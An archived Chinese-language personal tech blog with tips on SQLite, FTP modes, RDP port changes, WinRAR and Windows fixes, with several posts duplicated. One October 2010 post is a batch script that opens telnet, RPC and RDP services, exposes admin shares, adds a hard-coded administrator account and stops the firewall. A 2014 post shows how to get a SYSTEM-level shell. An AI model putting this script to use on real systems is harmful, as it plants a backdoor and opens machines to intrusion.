8月 25, 2014
獲得system權限
因为需要对注册表进行操作，才发现原来管理员的权限也是不够的。打开注册表下一些特殊文件夹的权限一看，发现只有SYSTEM这个身份具备所有权限。由于其他所有身份删除注册表都是被拒绝的，所以，需要切换到SYSTEM身份下。
网上又使用at指令进行操作的，发现在win7下不可行，早已升级了。
最后在管理员权限下打开cmd，输入以下命令
sc Create SuperCMD binPath= "cmd /K start" type= own type= interact
sc start SuperCMD
然后win7下就会弹出一个消息，询问是否现在查看，点击立即查看，窗口会跳转到另外一个界面，这个界面就是用System身份打开的cmd，具备所有权限，然后用一下命令删除注册表的指定目标文件夹，OK
reg delete "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USB\VID_093A&PID_2521" /f
whoami指令可以看當前用戶
6月 17, 2012
1月 05, 2011
輸入法 無法用SHIFT+CTRL切換
在XP作業系統下，若輸入法 無法用SHIFT+CTRL切換，而照下面情況設定，SHIFT+CTRL仍舊無法切換。
1.在工作列上輸入法的ICON按右鍵點選設定值(或進入到控制台下的日期、時間、語言和地區選項內的語言選項。)進入文字服務和輸入語言對話視窗。
2.在「喜好設定」方塊中點選按鍵設定
3.「操作」方塊中先選擇切換輸入法語言，然後按下變更鍵盤組合。
4.在「變更鍵盤組合」中確定切換輸入法語言是否勾選，點選CTRL+SHIFT 選項。按確定後退出。
以上此方式還是無法切換。經反覆測試，我覺得這是XP作業系統的BUG。但有兩個方式可以讓SHIFT+CTRL可以再切換。
方法一：
在上述3.在「變更鍵盤組合」中確定切換輸入法語言是否勾選，然後點選「左邊ALT+SHIFT」，再打勾右方「切換鍵盤配置」(切換鍵盤配置下面的選項會落在「CTRL+SHIFT」)。確定後再全部關掉就可以正常使用。
照理說這樣子的設定是不對的，但是設完後卻可以正常切換，這點還蠻奇怪的。
方法二：直接修改登錄檔
1.點選「開始」->「執行」，輸入regedit，進入登錄編輯程式。
2.到下方入徑：HKEY_CURRENT_USER\Keyboard Layout\Toggle裡的Language Hotkey ，將數值改成1就可以了。
1.在工作列上輸入法的ICON按右鍵點選設定值(或進入到控制台下的日期、時間、語言和地區選項內的語言選項。)進入文字服務和輸入語言對話視窗。
2.在「喜好設定」方塊中點選按鍵設定
3.「操作」方塊中先選擇切換輸入法語言，然後按下變更鍵盤組合。
4.在「變更鍵盤組合」中確定切換輸入法語言是否勾選，點選CTRL+SHIFT 選項。按確定後退出。
以上此方式還是無法切換。經反覆測試，我覺得這是XP作業系統的BUG。但有兩個方式可以讓SHIFT+CTRL可以再切換。
方法一：
在上述3.在「變更鍵盤組合」中確定切換輸入法語言是否勾選，然後點選「左邊ALT+SHIFT」，再打勾右方「切換鍵盤配置」(切換鍵盤配置下面的選項會落在「CTRL+SHIFT」)。確定後再全部關掉就可以正常使用。
照理說這樣子的設定是不對的，但是設完後卻可以正常切換，這點還蠻奇怪的。
方法二：直接修改登錄檔
1.點選「開始」->「執行」，輸入regedit，進入登錄編輯程式。
2.到下方入徑：HKEY_CURRENT_USER\Keyboard Layout\Toggle裡的Language Hotkey ，將數值改成1就可以了。
12月 11, 2010
SQLite 教學
* 1 建立資料庫檔案
* 2 在sqlite3提示列下操作
* 3 SQL的指令格式
* 4 建立資料表
* 5 建立索引
* 6 加入一筆資料
* 7 查詢資料
* 8 如何更改或刪除資料
* 9 其他sqlite的特別用法
* 10 小結
建立資料庫檔案
用sqlite3建立資料庫的方法很簡單，只要在shell下鍵入（以下$符號為shell提示號，請勿鍵入）：
$ sqlite3 foo.db3
如果目錄下沒有foo.db3，sqlite3就會建立這個資料庫。sqlite3並沒有強制資料庫檔名要怎麼取，因此如果你喜歡，也可以取個例如foo.icannameitwhateverilike的檔名。
在sqlite3提示列下操作
進入了sqlite3之後，會看到以下文字：
SQLite version 3.1.3
Enter ".help" for instructions
sqlite＞
這時如果使用.help可 以取得求助，.quit則是離開（請注意：不是quit）
SQL的指令格式
所有的SQL指令都是以分號（;）結尾的。如果遇到兩個減號（--）則代表註解，sqlite3會略過去。
建立資料表
假設我們要建一個名叫film的資料表，只要鍵入以下指令就可以了：
create table film(title, length, year, starring);
這樣我們就建立了一個名叫film的資料表，裡面有name、length、year、starring四個欄位。
這個create table指令的語法為：
create table table_name(field1, field2, field3, ...);
table_name是資料表的名稱，fieldx則是欄位的名字。sqlite3與許多SQL資料庫軟體不同的是，它不在乎欄位屬於哪一種資料型態：sqlite3的欄位可以儲存任何東西：文字、數字、大量文字（blob），它會在適時自動轉換。
建立索引
如果資料表有相當多的資料，我們便會建立索引來加快速度。好比說：
create index film_title_index on film(title);
意思是針對film資料表的title欄位，建立一個名叫film_title_index的索引。這個指令的語法為
create index index_name on table_name(field_to_be_indexed);
一旦建立了索引，sqlite3會在針對該欄位作查詢時，自動使用該索引。這一切的操作都是在幕後自動發生的，無須使用者特別指令。
加入一筆資料
接下來我們要加入資料了，加入的方法為使用insert into指令，語法為：
insert into table_name values(data1, data2, data3, ...);
例如我們可以加入
insert into film values ('Silence of the Lambs, The', 118, 1991, 'Jodie Foster');
insert into film values ('Contact', 153, 1997, 'Jodie Foster');
insert into film values ('Crouching Tiger, Hidden Dragon', 120, 2000, 'Yun-Fat Chow');
insert into film values ('Hours, The', 114, 2002, 'Nicole Kidman');
如果該欄位沒有資料，我們可以填NULL。
查詢資料
講到這裡，我們終於要開始介紹SQL最強大的select指令了。我們首先簡單介紹select的基本句型：
select columns from table_name where expression;
最常見的用法，當然是倒出所有資料庫的內容：
select * from film;
如果資料太多了，我們或許會想限制筆數：
select * from film limit 10;
或是年份比較早的電影先列出來（預設為 asc）：
select * from film order by year limit 10;
或是年份比較晚的電影先列出來：
select * from film order by year desc limit 10;
或是我們只想看電影名稱跟年份：
select title, year from film order by year desc limit 10;
查所有茱蒂佛斯特演過的電影：
select * from film where starring='Jodie Foster';
查所有演員名字開頭叫茱蒂的電影（'%'、'_' 符號便是 SQL 的萬用字元，前者代表任意長度字元，後者代表任意一個字元）：
select * from film where starring like 'Jodie%';
查所有演員名字以茱蒂開頭、年份晚於1985年、年份晚的優先列出、最多十筆，只列出電影名稱和年份：
select title, year from film where starring like 'Jodie%' and year ＞= 1985 order by year desc limit 10;
有時候我們只想知道資料庫一共有多少筆資料：
select count(*) from film;
有時候我們只想知道1985年以後的電影有幾部：
select count(*) from film where year >= 1985;
（進一步的各種組合，要去看SQL專書，不過你大概已經知道SQL為什麼這麼流行了：這種語言允許你將各種查詢條件組合在一起──而我們還沒提到「跨資料庫的聯合查詢」呢！）
[編輯]
如何更改或刪除資料
瞭解select的用法非常重要，因為要在sqlite更改或刪除一筆資料，也是靠同樣的語法。
例如有一筆資料的名字打錯了：
update film set starring='Jodie Foster' where starring='Jodee Foster';
就會把主角欄位裡，被打成'Jodee Foster'的那筆（或多筆）資料，改回成Jodie Foster。
delete from film where year ＞ 1970;
就會刪除所有年代早於1970年（不含）的電影了。
其他sqlite的特別用法
sqlite可以在shell底下直接執行命令：
sqlite3 film.db "select * from film;"
輸出 HTML 表格：
sqlite3 -html film.db "select * from film;"
將資料庫「倒出來」：
sqlite3 film.db ".dump" ＞ output.sql
利用輸出的資料，建立一個一模一樣的資料庫（加上以上指令，就是標準的SQL資料庫備份了）：
sqlite3 film.db ＜ output.sql
在大量插入資料時，你可能會需要先打這個指令：
begin;
插入完資料後要記得打這個指令，資料才會寫進資料庫中：
commit;
* 2 在sqlite3提示列下操作
* 3 SQL的指令格式
* 4 建立資料表
* 5 建立索引
* 6 加入一筆資料
* 7 查詢資料
* 8 如何更改或刪除資料
* 9 其他sqlite的特別用法
* 10 小結
建立資料庫檔案
用sqlite3建立資料庫的方法很簡單，只要在shell下鍵入（以下$符號為shell提示號，請勿鍵入）：
$ sqlite3 foo.db3
如果目錄下沒有foo.db3，sqlite3就會建立這個資料庫。sqlite3並沒有強制資料庫檔名要怎麼取，因此如果你喜歡，也可以取個例如foo.icannameitwhateverilike的檔名。
在sqlite3提示列下操作
進入了sqlite3之後，會看到以下文字：
SQLite version 3.1.3
Enter ".help" for instructions
sqlite＞
這時如果使用.help可 以取得求助，.quit則是離開（請注意：不是quit）
SQL的指令格式
所有的SQL指令都是以分號（;）結尾的。如果遇到兩個減號（--）則代表註解，sqlite3會略過去。
建立資料表
假設我們要建一個名叫film的資料表，只要鍵入以下指令就可以了：
create table film(title, length, year, starring);
這樣我們就建立了一個名叫film的資料表，裡面有name、length、year、starring四個欄位。
這個create table指令的語法為：
create table table_name(field1, field2, field3, ...);
table_name是資料表的名稱，fieldx則是欄位的名字。sqlite3與許多SQL資料庫軟體不同的是，它不在乎欄位屬於哪一種資料型態：sqlite3的欄位可以儲存任何東西：文字、數字、大量文字（blob），它會在適時自動轉換。
建立索引
如果資料表有相當多的資料，我們便會建立索引來加快速度。好比說：
create index film_title_index on film(title);
意思是針對film資料表的title欄位，建立一個名叫film_title_index的索引。這個指令的語法為
create index index_name on table_name(field_to_be_indexed);
一旦建立了索引，sqlite3會在針對該欄位作查詢時，自動使用該索引。這一切的操作都是在幕後自動發生的，無須使用者特別指令。
加入一筆資料
接下來我們要加入資料了，加入的方法為使用insert into指令，語法為：
insert into table_name values(data1, data2, data3, ...);
例如我們可以加入
insert into film values ('Silence of the Lambs, The', 118, 1991, 'Jodie Foster');
insert into film values ('Contact', 153, 1997, 'Jodie Foster');
insert into film values ('Crouching Tiger, Hidden Dragon', 120, 2000, 'Yun-Fat Chow');
insert into film values ('Hours, The', 114, 2002, 'Nicole Kidman');
如果該欄位沒有資料，我們可以填NULL。
查詢資料
講到這裡，我們終於要開始介紹SQL最強大的select指令了。我們首先簡單介紹select的基本句型：
select columns from table_name where expression;
最常見的用法，當然是倒出所有資料庫的內容：
select * from film;
如果資料太多了，我們或許會想限制筆數：
select * from film limit 10;
或是年份比較早的電影先列出來（預設為 asc）：
select * from film order by year limit 10;
或是年份比較晚的電影先列出來：
select * from film order by year desc limit 10;
或是我們只想看電影名稱跟年份：
select title, year from film order by year desc limit 10;
查所有茱蒂佛斯特演過的電影：
select * from film where starring='Jodie Foster';
查所有演員名字開頭叫茱蒂的電影（'%'、'_' 符號便是 SQL 的萬用字元，前者代表任意長度字元，後者代表任意一個字元）：
select * from film where starring like 'Jodie%';
查所有演員名字以茱蒂開頭、年份晚於1985年、年份晚的優先列出、最多十筆，只列出電影名稱和年份：
select title, year from film where starring like 'Jodie%' and year ＞= 1985 order by year desc limit 10;
有時候我們只想知道資料庫一共有多少筆資料：
select count(*) from film;
有時候我們只想知道1985年以後的電影有幾部：
select count(*) from film where year >= 1985;
（進一步的各種組合，要去看SQL專書，不過你大概已經知道SQL為什麼這麼流行了：這種語言允許你將各種查詢條件組合在一起──而我們還沒提到「跨資料庫的聯合查詢」呢！）
[編輯]
如何更改或刪除資料
瞭解select的用法非常重要，因為要在sqlite更改或刪除一筆資料，也是靠同樣的語法。
例如有一筆資料的名字打錯了：
update film set starring='Jodie Foster' where starring='Jodee Foster';
就會把主角欄位裡，被打成'Jodee Foster'的那筆（或多筆）資料，改回成Jodie Foster。
delete from film where year ＞ 1970;
就會刪除所有年代早於1970年（不含）的電影了。
其他sqlite的特別用法
sqlite可以在shell底下直接執行命令：
sqlite3 film.db "select * from film;"
輸出 HTML 表格：
sqlite3 -html film.db "select * from film;"
將資料庫「倒出來」：
sqlite3 film.db ".dump" ＞ output.sql
利用輸出的資料，建立一個一模一樣的資料庫（加上以上指令，就是標準的SQL資料庫備份了）：
sqlite3 film.db ＜ output.sql
在大量插入資料時，你可能會需要先打這個指令：
begin;
插入完資料後要記得打這個指令，資料才會寫進資料庫中：
commit;
12月 09, 2010
FTP傳輸模式
基本觀念
使用 FTP 傳輸時，至少會使用到兩個 Port 來建立連線通道：
一個為指令通道(Command Channel)，預設使用 Port 21 建立連線，用來傳輸 FTP 指令，例如：列出檔案清單(LIST)、變更目錄(CWD)、取得目前的目錄(PWD)、......等。
另一個為資料通道(DATA Channel)，預設使用 Port 20，但是會因 FTP Client 選擇使用的「連線模式」不同而有所不同。
FTP Client (e.g. FileZilla) 每次建立連線時都會下 PORT 或 PASV 指令，如下範例：
指令: PASV
回應: 227 Entering Passive Mode (59,37,124,43,158,251)
而每次下指令傳輸資料時，都會建立一次 data connection，包括取得遠端的檔案清單(LIST)時回傳的檔案列表、下載檔案、或上傳檔案。
連線模式
FTP 的連線模式分兩種：主動模式 ( Active mode ) 與 被動模式 ( Passive mode )
主動模式 ( Active mode )
FTP Client 跟 FTP Server 連線後，會主動利用 PORT 指令提出 DATA Channel 連線的要求，如下：
指令: PORT 10,18,53,171,17,114
回應: 200 Port command successful.
這裡的 PORT 指令是由 FTP Client 送出的，當需要建立 DATA Channel 時，FTP Server 會主動利用 Server 主機的 Port 20 發出連線到 FTP Client 的主機，而 PORT 指令後的參數說明如下：
前四個數字是 FTP Client 的 IP 位址：10.18.53.171
後兩個數字是 FTP Client 接受連線的 Port 埠號，埠號的計算方式是 (第五個數字 * 256 + 第六個數字)，以此範例來說，FTP Client 接受的連線埠號是 17 * 256 + 114 = 4,466
由此可知，如果 FTP Client 處於 NAT 的環境下的話，FTP Server 幾乎無法正常的連線到 FTP Client 的主機，所以現在大部分的連線模式幾乎都建議使用者使用被動模式(Passive mode)。
被動模式 ( Passive mode )
FTP Client 跟 FTP Server 連線後，會主動利用 PASV 指令提出 DATA Channel 連線的要求，如下：
指令: PASV
回應: 227 Entering Passive Mode (59,37,124,43,158,251)
你可以看到由 FTP Client 送出的 PASV 指令並沒有送出其他的參數，而是在 FTP Server 回應的時候出現了 (59,37,124,43,158,251) 字串，當需要建立 DATA Channel 時，這時就會由 FTP Client 主動連接至 FTP Server 動態開放的 Port 供 FTP Client 連接，其中 (59,37,124,43,158,251) 的說明如下：
前四個數字是 FTP Server 的 IP 位址：59.37.124.43
後兩個數字是 FTP Server 接受連線的 Port 埠號，埠號的計算方式是 (第五個數字 * 256 + 第六個數字)，以此範例來說，FTP Server 可接受的連線埠號是 158 * 256 + 251 = 40,699
由此可知，使用被動模式(Passive mode)對 FTP Server 的系統管理員來說，可掌控的部分是比較多的，因為 FTP Server 無法決定使用者是否可使用主動模式連線，但若改使用被動模式連線的話，就幾乎能讓所有人正常的使用 FTP 服務。
使用 FTP 傳輸時，至少會使用到兩個 Port 來建立連線通道：
一個為指令通道(Command Channel)，預設使用 Port 21 建立連線，用來傳輸 FTP 指令，例如：列出檔案清單(LIST)、變更目錄(CWD)、取得目前的目錄(PWD)、......等。
另一個為資料通道(DATA Channel)，預設使用 Port 20，但是會因 FTP Client 選擇使用的「連線模式」不同而有所不同。
FTP Client (e.g. FileZilla) 每次建立連線時都會下 PORT 或 PASV 指令，如下範例：
指令: PASV
回應: 227 Entering Passive Mode (59,37,124,43,158,251)
而每次下指令傳輸資料時，都會建立一次 data connection，包括取得遠端的檔案清單(LIST)時回傳的檔案列表、下載檔案、或上傳檔案。
連線模式
FTP 的連線模式分兩種：主動模式 ( Active mode ) 與 被動模式 ( Passive mode )
主動模式 ( Active mode )
FTP Client 跟 FTP Server 連線後，會主動利用 PORT 指令提出 DATA Channel 連線的要求，如下：
指令: PORT 10,18,53,171,17,114
回應: 200 Port command successful.
這裡的 PORT 指令是由 FTP Client 送出的，當需要建立 DATA Channel 時，FTP Server 會主動利用 Server 主機的 Port 20 發出連線到 FTP Client 的主機，而 PORT 指令後的參數說明如下：
前四個數字是 FTP Client 的 IP 位址：10.18.53.171
後兩個數字是 FTP Client 接受連線的 Port 埠號，埠號的計算方式是 (第五個數字 * 256 + 第六個數字)，以此範例來說，FTP Client 接受的連線埠號是 17 * 256 + 114 = 4,466
由此可知，如果 FTP Client 處於 NAT 的環境下的話，FTP Server 幾乎無法正常的連線到 FTP Client 的主機，所以現在大部分的連線模式幾乎都建議使用者使用被動模式(Passive mode)。
被動模式 ( Passive mode )
FTP Client 跟 FTP Server 連線後，會主動利用 PASV 指令提出 DATA Channel 連線的要求，如下：
指令: PASV
回應: 227 Entering Passive Mode (59,37,124,43,158,251)
你可以看到由 FTP Client 送出的 PASV 指令並沒有送出其他的參數，而是在 FTP Server 回應的時候出現了 (59,37,124,43,158,251) 字串，當需要建立 DATA Channel 時，這時就會由 FTP Client 主動連接至 FTP Server 動態開放的 Port 供 FTP Client 連接，其中 (59,37,124,43,158,251) 的說明如下：
前四個數字是 FTP Server 的 IP 位址：59.37.124.43
後兩個數字是 FTP Server 接受連線的 Port 埠號，埠號的計算方式是 (第五個數字 * 256 + 第六個數字)，以此範例來說，FTP Server 可接受的連線埠號是 158 * 256 + 251 = 40,699
由此可知，使用被動模式(Passive mode)對 FTP Server 的系統管理員來說，可掌控的部分是比較多的，因為 FTP Server 無法決定使用者是否可使用主動模式連線，但若改使用被動模式連線的話，就幾乎能讓所有人正常的使用 FTP 服務。
11月 27, 2010
修改預設埠『3389』埠
『遠端桌面』開啟編號3389的連接埠，很容易被黑客利用Port Scan一類偵破而侵入
Windows XP『遠端桌面』功能預設以編號3389連接埠作訊息傳輸，但可因應需要而進行修改︰啟動Regedit，到路徑HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\TerminalServer\WinStations\RDP-Tcp中DWORD值PortNumber，把數值由3389改為任何的數值便可，然後重新開機。
Windows XP『遠端桌面』功能預設以編號3389連接埠作訊息傳輸，但可因應需要而進行修改︰啟動Regedit，到路徑HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\TerminalServer\WinStations\RDP-Tcp中DWORD值PortNumber，把數值由3389改為任何的數值便可，然後重新開機。
11月 26, 2010
11月 14, 2010
10月 14, 2010
用批次檔開啟+23+135+139+3389端口++share+幾個分享
@echo 開啟telnet服務(自動)23端口
sc config TlntSvr start= AUTO
net start telnet
@echo 開啟RPC遠程過程調用(自動)135端口
sc config RpcLocator start= AUTO
net start rpclocator
@echo 開啟NetBIOS Session Service服務(自動)139端口
@echo (TCP/IP NetBIOS 協助程序)
sc config LmHosts start= AUTO
net start lmhosts
@echo 開啟Terminal Services (終端機服務)(自動)3389端口
sc config TermService start= AUTO
net start termservice
@echo 開啟 C$共享 D$共享 ADMIN$共享 IPC$共享
net share C$=C:\
net share D$=D:\
net share ADMIN$
net share
net share netlogon
@echo 啟動一個用戶名為piece 密碼為123456 Admin權限
net user piece 123456 /add
net localgroup administrators piece /add
@echo 停止防火牆
net stop sharedaccess
9月 14, 2010
如何讓YouTube自動重複播放影片、歌曲循環播放？
許多人應該都有在YouTube上面聽音樂的習慣，大概是礙於某些問題，重複播放（Loop）功能並不是YouTube的預設功能之一，所以在聽音樂時就顯得不太方便。前幾天正巧有噗友在問如何讓YouTube的影片自動重播？我整理幾個類似功能的網站，需要的使用者可以將本篇文章加入書籤。
YouTubeRepeat
YouTubeRepeat 是我最常用的網站，也是我推薦給朋友用的服務。使用方法很簡單，只要在原本的YouTube影片網址後方加上一個 repeat，舉例來說：
- 原本的YouTube網址：http://www.youtube.com/watch?v=nfLdxGqnXX4
- 讓它自動循環播放，改成 http://www.youtuberepeat.com/watch?v=nfLdxGqnXX4
那麼影片就會在結束後自動重新開始。
TubeReplay
剛介紹的YouTubeRepeat要自己輸入字串，如果你覺得這樣很麻煩，那麼只要進入TubeReplay，然後將影片網址貼進去，就會自動循環播放，而且它還能夠紀錄你重複播放的次數。
EndLessYouTube
這項服務又更強大了，使用者甚至可以在EndlessYouTube裡搜尋影片（支援中文）、或是設定要重複播放的時間範圍，以及顯示重播次數等等。此外，你也可以直接在YouTube網址前方加入一個endless, 就能夠自動使用EndlessYouTube的服務，例如：
- 原本的YouTube網址：http://www.youtube.com/watch?v=km6JHcIdqg0
- 將它改成 http://www.endlessyoutube.com/watch?v=km6JHcIdqg0 就能夠使用這項功能。
其它類似的服務
- InfiniteYouTube：支援搜尋、設定重播區間
- YouTubeLoop：可以中文搜尋、設定重播區間、瀏覽評論及Bookmarklet功能
- YouTubeRepeater
6月 23, 2010
「由於不支援指定的通訊協定，Windows Media Player 無法播放檔案。」
1. 點『開始』→『執行』，輸入『regsvr32 wmnetmgr.dll』，按『確定』。
2. 按『確定』後，再重新開啟廣播收聽。
2. 按『確定』後，再重新開啟廣播收聽。
3月 28, 2010
1月 21, 2010
WinRAR九大不傳密技
[其 他][討論] [轉貼] WinRAR九大不傳密技
WinRAR是大家平時用得最多的壓縮軟體，針對它的技巧文章也很多。不過，儘管如此，我們還是挖出了很多玩家沒有找出的一些獨門絕技。在此，借《電腦愛好者》一角，與大家共同探討！
密技一:注意危險自解壓程序
相信使用WinRAR來元件服務木馬的文章大家也見到了很多。在此，建議大家，收到可執行的附件文件時，先把它們儲存起來。然後試著右擊它，選項WinRAR表單，如果其下「用WinRAR開啟」指令可用●，則表明此程序是一個自解壓程序。此時可以把該檔案的副檔名由EXE改為RAR，雙按後即可用WinRAR開啟它，這樣會安全許多。
密技二:讓WinRAR「專一」工作
在第7期第31頁的《編輯壓縮包中的文件別讓WinRAR休息》中我們已經提醒大家，在編輯壓縮包內文件時，千萬不要關閉該壓縮包視窗，否則無法儲存對文件的修改。另外，如果在此時雙按開啟其他RAR壓縮包，WinRAR可能會自動關閉你正在修改文件的壓縮包，從而無法更新所做修改，所以建議你在WinRAR視窗中按下Ctrl+S鍵，取消「一般」標籤下的「重複使用已存在的視窗」複選框。
密技三:文件壓縮大小我先知
開啟WinRAR視窗，選項要壓縮的文件，按下工作列上的「信息」按鈕，在開啟視窗中按下「估計」按鈕，WinRAR會給出壓縮率、壓縮包大小和壓縮這個文件需要的時間等資料，這對於你壓縮比較大的文件或資料夾非常有用。如果你希望每次按下「信息」按鈕，以後WinRAR自動對文件進行評估的話，還可以選「自動開始」選項。
密技四:快速更換驅動器
按下Ctrl+D鍵，可在WinRAR視窗中出現電腦上所有驅動器列表，用滑鼠選項即可快速進入相應的驅動器。
密技五:批量建立資料夾
如果在工作中，經常要建立很多相同資料夾結構（如在制作備份資料時）。那可以把這個繁瑣的工作讓WinRAR完成:先在「檔案總管」中把多個資料夾結構建好（包括其下的子資料夾），再選並右擊這些資料夾，選項WinRAR→「增加到壓縮檔案」，在開啟的設定視窗中選「壓縮選項」下的「新增自釋放格式檔案文件」前複選框，按下「確定」按鈕。再把產生後的EXE文件改名為folders.exe。以後要在哪個資料夾下建立上述資料夾，只要把這個檔案拷貝到那個資料夾下，再雙按folders.exe，按下「安裝」按鈕即可。
密技六:我的設定你別改
啟動「記事本」，在其中輸入以下語句:
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\WinRAR\Policy]
"Menu"=dword:00000000
"Settings"=dword:00000000
把它儲存為limitrar.reg文件，再雙按並匯入這個REG文件，把它匯入註冊表。啟動WinRAR，你會發現表單無法使用，而且按Ctrl+S鍵也無法調出「設定」和「選項工作列按鈕」視窗，相對安全多了
小提示:
★把以上語句中的00000000改為00000001，另存新檔unlim.reg。雙按匯入unlim.reg文件即可恢復表單，並允許使用「設定」視窗。
★其中的Menu項設定為0/1，用來禁止/允許WinRAR 主表單，而Settings項設定為0/1，用來禁止/允許「設定」和「選項工作列按鈕」對話視窗。
★如果你使用Windows 9x/Me，請把上面的Windows Registry Editor Version 5.00改為REGEDIT 4。
密技七:快速解壓RAR壓縮包指定文件
如果想解壓RAR壓縮包中指定文件，可在開啟RAR文件後，選「選項」→「文件列表」→「平面資料夾檢視」。此RAR壓縮包中的所有文件會都顯示出來（包括在相應資料夾中的），此時只要像「檔案總管」中一樣，按下相應按鈕，如名稱、大小、類型、修改時間、路徑等，就能對RAR包中的所有文件進行排序，做到一目瞭然。按檔案類型排序後，配合Ctrl或Shift鍵選指定文件，用滑鼠拖放到資料夾下即可快速解壓。按下Ctrl+H鍵取消平面資料夾檢視模式。
小提示
先把RAR包切換到平面資料夾檢視模式，再按下「類型」按鈕，該包中所有類型的文件就被放置在一起（如所有的.tmp文件），先選第一個文件，按住Shift鍵不鬆開，再按下最後一個文件，選相應文件，按下Del鍵即可刪除掉RAR包中同一類型文件。
密技八:批量轉換壓縮包
如果你手頭上有多種格式的壓縮包，想把它們都轉換為RAR包，那可以這樣做:先把這些壓縮包放到一個資料夾下，如C:\compress。在WinRAR中選C:\compress資料夾。再按下「指令」→「轉換壓縮檔案」，在開啟的視窗中勾選「刪除原來的壓縮檔案」複選框，按下「確定」按鈕即可把它們轉換成RAR壓縮包●。通過此法，可以把ZIP、CAB、ARJ、ACE、TAR、BZ2 、UUE、GZ、LZH等壓縮包轉換成RAR格式。
密技九:重要文件，別刪
在RAR壓縮包中刪除文件後，WinRAR會自動更新它，其中被刪除的文件無法再找到（資源回收桶中也沒有）。因此，如果壓縮包確實不再修改或比較重要，則請選此壓縮包（不要雙按開啟它），然後按Alt+L組合鍵，在開啟的視窗中驗證「禁止修改壓縮檔案」複選框被選，按下「確定」按鈕即可把此壓縮包鎖住，其中的文件便無法被修改或刪除。
此指令只支持RAR壓縮檔案，同時，在壓縮檔案時，設定視窗中也有一個「鎖定壓縮檔案」複選框●，一旦選，產生後的壓縮包將無法再修改，它對於制作備份重要資料很有用。
WinRAR是大家平時用得最多的壓縮軟體，針對它的技巧文章也很多。不過，儘管如此，我們還是挖出了很多玩家沒有找出的一些獨門絕技。在此，借《電腦愛好者》一角，與大家共同探討！
密技一:注意危險自解壓程序
相信使用WinRAR來元件服務木馬的文章大家也見到了很多。在此，建議大家，收到可執行的附件文件時，先把它們儲存起來。然後試著右擊它，選項WinRAR表單，如果其下「用WinRAR開啟」指令可用●，則表明此程序是一個自解壓程序。此時可以把該檔案的副檔名由EXE改為RAR，雙按後即可用WinRAR開啟它，這樣會安全許多。
密技二:讓WinRAR「專一」工作
在第7期第31頁的《編輯壓縮包中的文件別讓WinRAR休息》中我們已經提醒大家，在編輯壓縮包內文件時，千萬不要關閉該壓縮包視窗，否則無法儲存對文件的修改。另外，如果在此時雙按開啟其他RAR壓縮包，WinRAR可能會自動關閉你正在修改文件的壓縮包，從而無法更新所做修改，所以建議你在WinRAR視窗中按下Ctrl+S鍵，取消「一般」標籤下的「重複使用已存在的視窗」複選框。
密技三:文件壓縮大小我先知
開啟WinRAR視窗，選項要壓縮的文件，按下工作列上的「信息」按鈕，在開啟視窗中按下「估計」按鈕，WinRAR會給出壓縮率、壓縮包大小和壓縮這個文件需要的時間等資料，這對於你壓縮比較大的文件或資料夾非常有用。如果你希望每次按下「信息」按鈕，以後WinRAR自動對文件進行評估的話，還可以選「自動開始」選項。
密技四:快速更換驅動器
按下Ctrl+D鍵，可在WinRAR視窗中出現電腦上所有驅動器列表，用滑鼠選項即可快速進入相應的驅動器。
密技五:批量建立資料夾
如果在工作中，經常要建立很多相同資料夾結構（如在制作備份資料時）。那可以把這個繁瑣的工作讓WinRAR完成:先在「檔案總管」中把多個資料夾結構建好（包括其下的子資料夾），再選並右擊這些資料夾，選項WinRAR→「增加到壓縮檔案」，在開啟的設定視窗中選「壓縮選項」下的「新增自釋放格式檔案文件」前複選框，按下「確定」按鈕。再把產生後的EXE文件改名為folders.exe。以後要在哪個資料夾下建立上述資料夾，只要把這個檔案拷貝到那個資料夾下，再雙按folders.exe，按下「安裝」按鈕即可。
密技六:我的設定你別改
啟動「記事本」，在其中輸入以下語句:
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\WinRAR\Policy]
"Menu"=dword:00000000
"Settings"=dword:00000000
把它儲存為limitrar.reg文件，再雙按並匯入這個REG文件，把它匯入註冊表。啟動WinRAR，你會發現表單無法使用，而且按Ctrl+S鍵也無法調出「設定」和「選項工作列按鈕」視窗，相對安全多了
小提示:
★把以上語句中的00000000改為00000001，另存新檔unlim.reg。雙按匯入unlim.reg文件即可恢復表單，並允許使用「設定」視窗。
★其中的Menu項設定為0/1，用來禁止/允許WinRAR 主表單，而Settings項設定為0/1，用來禁止/允許「設定」和「選項工作列按鈕」對話視窗。
★如果你使用Windows 9x/Me，請把上面的Windows Registry Editor Version 5.00改為REGEDIT 4。
密技七:快速解壓RAR壓縮包指定文件
如果想解壓RAR壓縮包中指定文件，可在開啟RAR文件後，選「選項」→「文件列表」→「平面資料夾檢視」。此RAR壓縮包中的所有文件會都顯示出來（包括在相應資料夾中的），此時只要像「檔案總管」中一樣，按下相應按鈕，如名稱、大小、類型、修改時間、路徑等，就能對RAR包中的所有文件進行排序，做到一目瞭然。按檔案類型排序後，配合Ctrl或Shift鍵選指定文件，用滑鼠拖放到資料夾下即可快速解壓。按下Ctrl+H鍵取消平面資料夾檢視模式。
小提示
先把RAR包切換到平面資料夾檢視模式，再按下「類型」按鈕，該包中所有類型的文件就被放置在一起（如所有的.tmp文件），先選第一個文件，按住Shift鍵不鬆開，再按下最後一個文件，選相應文件，按下Del鍵即可刪除掉RAR包中同一類型文件。
密技八:批量轉換壓縮包
如果你手頭上有多種格式的壓縮包，想把它們都轉換為RAR包，那可以這樣做:先把這些壓縮包放到一個資料夾下，如C:\compress。在WinRAR中選C:\compress資料夾。再按下「指令」→「轉換壓縮檔案」，在開啟的視窗中勾選「刪除原來的壓縮檔案」複選框，按下「確定」按鈕即可把它們轉換成RAR壓縮包●。通過此法，可以把ZIP、CAB、ARJ、ACE、TAR、BZ2 、UUE、GZ、LZH等壓縮包轉換成RAR格式。
密技九:重要文件，別刪
在RAR壓縮包中刪除文件後，WinRAR會自動更新它，其中被刪除的文件無法再找到（資源回收桶中也沒有）。因此，如果壓縮包確實不再修改或比較重要，則請選此壓縮包（不要雙按開啟它），然後按Alt+L組合鍵，在開啟的視窗中驗證「禁止修改壓縮檔案」複選框被選，按下「確定」按鈕即可把此壓縮包鎖住，其中的文件便無法被修改或刪除。
此指令只支持RAR壓縮檔案，同時，在壓縮檔案時，設定視窗中也有一個「鎖定壓縮檔案」複選框●，一旦選，產生後的壓縮包將無法再修改，它對於制作備份重要資料很有用。
12月 21, 2009
10月 21, 2009
